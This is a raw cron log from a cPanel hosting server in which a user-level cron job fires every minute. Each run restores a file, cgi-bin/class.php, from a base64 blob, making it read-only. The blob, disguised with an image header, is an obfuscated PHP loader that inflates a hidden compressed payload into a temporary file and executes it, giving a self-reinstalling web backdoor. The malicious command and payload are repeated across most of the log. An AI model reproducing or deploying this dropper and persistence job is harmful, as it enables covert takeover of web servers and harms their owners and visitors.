Nov 15 03:07:01 server CROND[31795]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:08:01 server CROND[32081]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:09:01 server CROND[32356]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:09:01 server CROND[32357]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 03:10:01 server CROND[32732]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 03:10:01 server CROND[32733]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 03:10:01 server CROND[32734]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:10:01 server CROND[32735]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 03:11:01 server CROND[606]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:12:01 server CROND[884]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 03:12:01 server CROND[883]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:13:01 server CROND[1142]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:14:01 server CROND[1399]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:15:01 server CROND[1769]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 03:15:01 server CROND[1770]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 03:15:01 server CROND[1771]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:16:01 server CROND[2081]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:17:01 server CROND[2353]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:18:01 server CROND[2606]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:19:01 server CROND[2874]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:20:01 server CROND[3233]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 03:20:01 server CROND[3234]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 03:20:01 server CROND[3237]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
